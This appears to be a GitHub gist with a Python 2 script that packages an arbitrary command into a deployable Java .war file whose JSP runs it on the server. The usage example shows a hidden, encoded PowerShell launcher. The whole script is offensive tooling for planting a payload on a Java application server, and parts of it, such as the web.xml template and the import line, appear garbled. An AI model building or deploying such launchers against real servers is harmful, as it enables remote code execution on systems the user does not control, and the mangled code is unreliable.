Code that quickly generates a deployable .war for a PowerShell one-liner

September 15, 2015 ยท View on GitHub

#!/usr/bin/python

Code that quickly generates a deployable .war for a PowerShell one-liner

import zipfile import StringIO import sys

def generatePsWar(psCmd, appName):

# .war manifest
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_35 (Sun Microsystems Inc.)\r\n\r\n"

# Create initial JSP and Web XML Strings with placeholders
jspCode = '''<%@ page import="java.io.*" %>

<% Process p=Runtime.getRuntime().exec("'''+str(psCmd)+'''"); %> '''

# .xml deployment config
wxmlCode = '''<?xml version="1.0"?>
%s /%s.jsp ''' %(appName, appName)
# build the in-memory ZIP and write the three files in
warFile = StringIO.StringIO() 
zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED)

zipData.writestr("META-INF/MANIFEST.MF", manifest)
zipData.writestr("WEB-INF/web.xml", wxmlCode)
zipData.writestr(appName + ".jsp", jspCode)
zipData.close()

return warFile.getvalue()

if len(sys.argv) != 2: print "\nUsage: ./pswar.py 'powershell -w hidden -nop -enc BLAH'\n"

else:

war = generatePsWar(sys.argv[1], 'launcher')

f = open("launcher.war", 'wb')
f.write(war)
f.close()

print "\nLauncher WAR written to launcher.war\n"